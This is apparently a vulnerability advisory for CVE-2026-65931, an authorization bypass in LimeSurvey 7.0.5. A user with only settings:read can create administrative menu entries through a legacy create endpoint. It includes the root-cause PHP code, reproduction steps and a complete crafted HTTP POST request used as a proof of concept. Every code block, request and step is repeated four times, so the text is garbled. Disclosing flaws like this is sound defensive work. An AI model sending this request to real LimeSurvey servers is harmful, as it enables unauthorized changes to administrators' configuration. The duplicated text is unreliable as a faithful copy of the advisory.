LimeSurvey Community Edition 7.0.5 contains an authenticated improper authorization vulnerability in the survey menu entry creation endpoint.
An authenticated user with only the global settings:read permission can directly invoke POST /index.php/admin/menuentries/sa/create and create new survey menu entries without the expected settings:update privilege. The endpoint also allows the attacker to submit menu IDs that the normal interface and intended update workflow restrict for non-superadministrators, enabling unauthorized changes to administrative navigation records.
The endpoint may return an HTTP 500 response after the request, but the database write has already occurred. The resulting attacker-controlled menu entry can later be observed by a superadministrator in the menu-entry list.
Vulnerability
Root cause
The controller constructor sets the only shared authorization gate for the controller to settings:read:
if (!Permission::model()->hasGlobalPermission('settings', 'read')) {
Yii::app()->setFlashMessage(gT("You do not have permission to access this page."), 'error');
$this->getController()->redirect($this->getController()->createUrl("/admin/"));
}
if (!Permission::model()->hasGlobalPermission('settings', 'read')) {
Yii::app()->setFlashMessage(gT("You do not have permission to access this page."), 'error');
$this->getController()->redirect($this->getController()->createUrl("/admin/"));
}
if (!Permission::model()->hasGlobalPermission('settings', 'read')) {
Yii::app()->setFlashMessage(gT("You do not have permission to access this page."), 'error');
$this->getController()->redirect($this->getController()->createUrl("/admin/"));
}
if (!Permission::model()->hasGlobalPermission('settings', 'read')) {
Yii::app()->setFlashMessage(gT("You do not have permission to access this page."), 'error');
$this->getController()->redirect($this->getController()->createUrl("/admin/"));
}
The legacy create() action performs no additional authorization check:
public function create()
{
$model = new SurveymenuEntries();
if (isset($_POST['SurveymenuEntries'])) {
$model->attributes = $_POST['SurveymenuEntries'];
if ($model->save()) {
$this->redirect(array('view', 'id' => $model->id));
}
}
$this->render('create', array(
'model' => $model,
));
}
public function create()
{
$model = new SurveymenuEntries();
if (isset($_POST['SurveymenuEntries'])) {
$model->attributes = $_POST['SurveymenuEntries'];
if ($model->save()) {
$this->redirect(array('view', 'id' => $model->id));
}
}
$this->render('create', array(
'model' => $model,
));
}
public function create()
{
$model = new SurveymenuEntries();
if (isset($_POST['SurveymenuEntries'])) {
$model->attributes = $_POST['SurveymenuEntries'];
if ($model->save()) {
$this->redirect(array('view', 'id' => $model->id));
}
}
$this->render('create', array(
'model' => $model,
));
}
public function create()
{
$model = new SurveymenuEntries();
if (isset($_POST['SurveymenuEntries'])) {
$model->attributes = $_POST['SurveymenuEntries'];
if ($model->save()) {
$this->redirect(array('view', 'id' => $model->id));
}
}
$this->render('create', array(
'model' => $model,
));
}
The intended creation and edit form submits to the stricter update handler:
SurveymenuEntries::save() drops the return value from parent::save():
parent::save($runValidation, $attributes);
parent::save($runValidation, $attributes);
parent::save($runValidation, $attributes);
parent::save($runValidation, $attributes);
Because no boolean is returned, the caller sees a falsey value even after a successful insert. create() then falls through to $this->render('create', ...), which can produce the observed HTTP 500, but this happens after the committed database operation.
Source-to-sink path
Source: an authenticated low-privileged user controls SurveymenuEntries[...] parameters in a POST request.
Controller gate: SurveymenuEntryController::__construct() accepts the request because the user has settings:read.
Missing check: create() does not enforce settings:update, superadmin, or the main-menu restriction used in the intended workflow.
Persistence: SurveymenuEntries::save() inserts the new row in {{surveymenu_entries}}.
Post-write error: the missing return value causes the action to continue into an invalid render path, returning HTTP 500 without rolling back the insert.
Impact sink: the attacker-created menu entry is stored in the administrative menu-entry configuration and can be verified by a superadministrator.
Impact
An authenticated user with only read access to global settings can perform an unauthorized administrative configuration change by creating survey menu entries. This violates LimeSurvey's permission model, where read-only settings access should not allow modification of global settings or menu configuration.
Potential impact includes:
Unauthorized modification of administrative navigation records.
Creation of misleading or disruptive menu entries in a trusted administrative interface.
Placement of attacker-controlled links or labels that may facilitate phishing or operator workflow disruption.
Increased impact when chained with a separate stored XSS or trusted-link abuse primitive.
The attacker must already have an authenticated LimeSurvey account with settings:read, so this is a privileged but non-superadministrator authorization bypass.
PoC
Preconditions
LimeSurvey Community Edition 7.0.5+260623.
A low-privileged authenticated user with global settings:read.
The same user must not have global settings:update.
The same user must not have superadmin.
A valid session cookie and CSRF token for that user.
A superadministrator account to verify menu entries assigned to main administrative menu IDs.
Reproduction
Log in as a user that has only the global settings:read permission.
Navigate to:
Configuration > Survey menus > Survey menu entries > New menu entry
Configuration > Survey menus > Survey menu entries > New menu entry
Configuration > Survey menus > Survey menu entries > New menu entry
Configuration > Survey menus > Survey menu entries > New menu entry
Fill in the form with valid values and intercept the request.
The normal frontend sends new entries to the intended update route:
/index.php/admin/menuentries/sa/update/id/
/index.php/admin/menuentries/sa/update/id/
/index.php/admin/menuentries/sa/update/id/
/index.php/admin/menuentries/sa/update/id/
Change the request path to the legacy creation endpoint:
/index.php/admin/menuentries/sa/create
/index.php/admin/menuentries/sa/create
/index.php/admin/menuentries/sa/create
/index.php/admin/menuentries/sa/create
Set SurveymenuEntries[menu_id] to a target menu ID, including a main administrative menu ID such as 1 or 2.
Send the modified authenticated POST request:
POST /index.php/admin/menuentries/sa/create HTTP/1.1
Host:127.0.0.1:8081Content-Type:application/x-www-form-urlencoded
Cookie:<authenticated-session-cookie>
YII_CSRF_TOKEN=<valid-csrf-token>&SurveymenuEntries[title]=Unauthorized+menu+entry&SurveymenuEntries[menu_id]=1&SurveymenuEntries[ordering]=2&SurveymenuEntries[menu_description]=Created+by+a+read-only+user&SurveymenuEntries[changed_at]=2026-07-17+16%3A07%3A31&SurveymenuEntries[language]=en-GB
POST /index.php/admin/menuentries/sa/create HTTP/1.1
Host:127.0.0.1:8081Content-Type:application/x-www-form-urlencoded
Cookie:<authenticated-session-cookie>
YII_CSRF_TOKEN=<valid-csrf-token>&SurveymenuEntries[title]=Unauthorized+menu+entry&SurveymenuEntries[menu_id]=1&SurveymenuEntries[ordering]=2&SurveymenuEntries[menu_description]=Created+by+a+read-only+user&SurveymenuEntries[changed_at]=2026-07-17+16%3A07%3A31&SurveymenuEntries[language]=en-GB
POST /index.php/admin/menuentries/sa/create HTTP/1.1
Host:127.0.0.1:8081Content-Type:application/x-www-form-urlencoded
Cookie:<authenticated-session-cookie>
YII_CSRF_TOKEN=<valid-csrf-token>&SurveymenuEntries[title]=Unauthorized+menu+entry&SurveymenuEntries[menu_id]=1&SurveymenuEntries[ordering]=2&SurveymenuEntries[menu_description]=Created+by+a+read-only+user&SurveymenuEntries[changed_at]=2026-07-17+16%3A07%3A31&SurveymenuEntries[language]=en-GB
POST /index.php/admin/menuentries/sa/create HTTP/1.1
Host:127.0.0.1:8081Content-Type:application/x-www-form-urlencoded
Cookie:<authenticated-session-cookie>
YII_CSRF_TOKEN=<valid-csrf-token>&SurveymenuEntries[title]=Unauthorized+menu+entry&SurveymenuEntries[menu_id]=1&SurveymenuEntries[ordering]=2&SurveymenuEntries[menu_description]=Created+by+a+read-only+user&SurveymenuEntries[changed_at]=2026-07-17+16%3A07%3A31&SurveymenuEntries[language]=en-GB
Observe that the server may return:
HTTP/1.1500Internal Server Error
HTTP/1.1500Internal Server Error
HTTP/1.1500Internal Server Error
HTTP/1.1500Internal Server Error
Log in as a superadministrator and navigate to:
Configuration > Survey menus > Survey menu entries
Configuration > Survey menus > Survey menu entries
Configuration > Survey menus > Survey menu entries
Configuration > Survey menus > Survey menu entries
Verify that the unauthorized menu entry is present despite being created by a user with only settings:read.
Expected result:
The application should reject the request before persistence because the user lacks settings:update and superadmin.
Observed vulnerable result:
The menu entry is persisted.
The HTTP 500 occurs after the database write and does not prevent the unauthorized change.
Evidence of Exploitation
Video of exploitation:
Static evidence:
Our security policy
We have reserved the ID CVE-2026-65931 to refer to this issue from now on.